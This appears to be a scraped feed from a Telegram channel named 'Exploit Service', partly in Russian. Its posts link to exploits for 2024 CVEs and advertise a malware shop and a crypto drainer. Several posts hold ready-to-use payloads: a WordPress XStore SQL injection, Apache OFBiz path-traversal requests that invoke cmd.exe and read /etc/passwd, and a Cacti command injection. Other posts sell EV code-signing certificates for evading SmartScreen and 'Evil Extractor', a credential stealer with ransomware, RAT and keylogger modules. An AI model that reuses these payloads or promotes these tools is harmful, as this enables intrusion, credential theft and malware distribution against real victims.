Exploit Service

RWX_MEMEORY_HUNT_AND_INJECTION_DV OneDrive.exe + API-интерфейс = шелл-код (без выделения новой области памяти RWX) https://github.com/Offensive-Panda/RWX_MEMEORY_HUNT_AND_INJECTION_DV Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-27842 + CVE-2023-40404 macOS Sploit allows you to execute code at the kernel level POC exploit (для CVE-2024-27842) POC exploit (для CVE-2023-40404) Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-2961 - тихоходка Помните месяц назад был кипишь, относительно того что нашли дырку в glibc. Тогда многие хостеры еще напряглись. Но так как в широкий паблик ничего не уплыло, все успокоились. А ресёрчеры не успокоились, слишком вкусно пахло перспективным сплоитом. Ну так вот, на сцену вползает Iconv со своим RCE. Сегодня вышел отличный WriteUp (первая часть из трёх), который раскрывает только часть потенциала дыры 2961 https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

Linux Kernel Teaching. Laboratory Большой и годный сборник лекций и лабораторных работ по ядру Linux. Лекции посвящены теоретическому исследованию ядра Linux. Лабораторки сделаны в стиле инструкций. Будет полезно: админам, драйверописателям и руткитоварам https://linux-kernel-labs.github.io/refs/heads/master/index.html Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

Finding, analyzing and exploiting stack buffer overflow in the netfilter subsystem from the softirq context. https://betrusted.it/blog/64-bytes-and-a-rop-chain-part-1/ https://betrusted.it/blog/64-bytes-and-a-rop-chain-part-2/ Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-21683 Confluence Data Center and Server RCE https://github.com/absholi7ly/-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server/ Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

👀Forget about SmartScreen👀 ⭐️[SALE 2500$ ONE-TIME 350$]⭐️ ✍️EV Code Signing ✍️ No Malware scan 🦠 Valid Sign✅ Remote Access 📡 No Smart Screen 📺 In stock - Pre-order🪤 Hot Topics🏖 https://forum.exploit.in/topic/239556 https://xss.is/threads/110863 Bot for orders🎯 https://t.me/D3Fuck_Loader_bot

CVE-2024-27130 RCE on a vulnerable QNAP device. https://github.com/watchtowrlabs/CVE-2024-27130 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

Project Malware Links https://t.me/addlist/4N6B0jwPTK04NmI0

CVE-2024-33551 Уязвимость SQL inj, обнаруженная в 8theme XStore, платформе электронной коммерции, созданной на базе WordPress. Уязвимость позволяет команды SQL в базе данных. POC POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: keep-alive Upgrade-Insecure-Requests: 1 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

added new username @exploitalert 🔥

CVE-2024-32113 Apache-OFBiz POC для WIN POST /webtools/control/xmlrpc HTTP/1.1 Host: vulnerable-host.com Content-Type: text/xml <?xml version="1.0"?> <methodCall> <methodName>performCommand</methodName> <params> <param> <value><string>../../../../../../windows/system32/cmd.exe?/c+dir+c:\</string></value> </param> </params> </methodCall> POC для *NIX POST /webtools/control/xmlrpc HTTP/1.1 Host: vulnerable-host.com Content-Type: text/xml <?xml version="1.0"?> <methodCall> <methodName>example.createBlogPost</methodName> <params> <param> <value><string>../../../../../../etc/passwd</string></value> </param> </params> </methodCall> Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-22026 Ivanti EPMM "MobileIron Core" https://github.com/securekomodo/CVE-2024-22026 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-29895 cacti Command injection in cmd_realtime.php https://en.fofa.info/result?qbase64=YXBwPSJDYWN0aS1Nb25pdG9yaW5nIg%3D%3D usage: http://localhost/cacti/cmd_realtime.php?1+1&&calc.exe+1+1+1 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-27804 уязвимости ядра iOS/macOS, которая приводит к выполнению произвольного кода с привилегиями ядра. https://github.com/R00tkitSMM/CVE-2024-27804 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

CVE-2024-32002 GIT RCE Удаленное выполнение кода в подмодулях Git. Payload может быть активирован через рекурсивное клонирование репозитория Git. https://github.com/safebuffer/CVE-2024-32002 Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport

We would like to share with you our two high-quality products that will meet all the needs of pentesters, cybersecurity professionals, and individuals. Enjoy a 15% discount on our products until the end of June! ☄️Evil Extractor☄️ ✅Passwords & Cookies Extractor ✅Screen & Webcam Extractor ✅Credentials Extractor ✅File Extractor ✅All In One ✅Kodex Ransomware ✅RAT Mode ✅Private Encrypter & Binder ☄️Kodex Keylogger☄️ ✔️SMTP Agent Builder ✔️FTPs Agent Builder ✔️Screen Logger ✔️Clipboard Logger ✔️Private Encrypter & Binder 🏆 Explore our products • Click here 💬 Telegram channel • Click here to join our community!

CVE-2024-22120 Zabbix Server Time Based SQL Injection https://support.zabbix.com/browse/ZBX-24505 https://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py Private: @ExploitServiceBot Malware Shop: @MalwareShopBot All projects @MalwareLinks Angel Drainer: https://t.me/+p2mOn-eGo4UzMTEx Support: @angelsupport